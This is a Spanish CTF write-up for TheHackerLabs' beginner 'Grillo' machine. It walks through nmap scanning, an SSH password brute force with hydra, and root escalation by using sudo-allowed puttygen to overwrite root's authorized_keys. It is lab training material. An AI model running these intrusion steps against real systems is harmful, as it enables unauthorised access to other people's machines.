Post

TheHackerLabs - Principiante : [Grillo]

Writeup para el CTF Grillo


Introducción

Hoy exploraremos la máquina CTF Grillo, diseñada para introducirnos al mundo del hacking ético y la resolución de retos.

  • Nivel de Dificultad: Principiante.
  • Creadores: CuriosidadesDeHackers y Condor.
  • Más detalles en The Hacker’s Labs.
  • Sistema Operativo: Linux.

CTF Grillo


Información Inicial

Descargamos la máquina y la configuramos en VirtualBox.
La IP asignada es 192.168.10.129.

VirtualBox CTF Grillo

Realizamos un escaneo completo para identificar puertos abiertos:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv 192.168.10.129 -oG grillo

Resultados:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

A continuación, ejecutamos un escaneo detallado:

1
sudo nmap -p22,80 -sCV 192.168.10.129 -oG grillo-ports

Resultados detallados:

1
2
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))

Análisis Inicial

Accedemos al puerto 80 y encontramos una página estándar de Apache2 Debian. En el pie de página, un comentario revela un posible nombre de usuario: melanie.

Comentario revelador


Fuerza Bruta en SSH

Con el usuario melanie, realizamos un ataque de fuerza bruta para descubrir su contraseña usando hydra:

1
hydra -l melanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.129

Resultados:

1
[22][ssh] host: 192.168.10.129   login: melanie   password: trustno1

Acceso Inicial: Usuario melanie

Nos conectamos al servidor con las credenciales obtenidas:

1
ssh melanie@192.168.10.129

Exploramos su directorio personal y encontramos la primera flag:

1
2
melanie@grillo:~$ ls
user.txt

¡Primera flag conseguida!


Escalada de Privilegios

Revisamos los privilegios sudo del usuario melanie:

1
sudo -l

Resultados:

1
2
User melanie may run the following commands on grillo:
    (root) NOPASSWD: /usr/bin/puttygen

Utilizamos puttygen para generar una clave privada RSA:

1
puttygen -t rsa -o id_rsa -O private-openssh

Ajustamos los permisos de la clave privada:

1
chmod 600 id_rsa

Preparamos la clave pública y la añadimos al archivo authorized_keys de root:

1
sudo /usr/bin/puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh

Finalmente, nos conectamos como root usando la clave generada:

1
2
3
4
ssh -i id_rsa root@192.168.10.129
root@grillo:~# 
root@grillo:~# ls
root.txt

Conclusión

Tras obtener acceso root, encontramos la segunda flag en el directorio /root. ¡Reto completado!

This post is licensed under CC BY 4.0 by the author.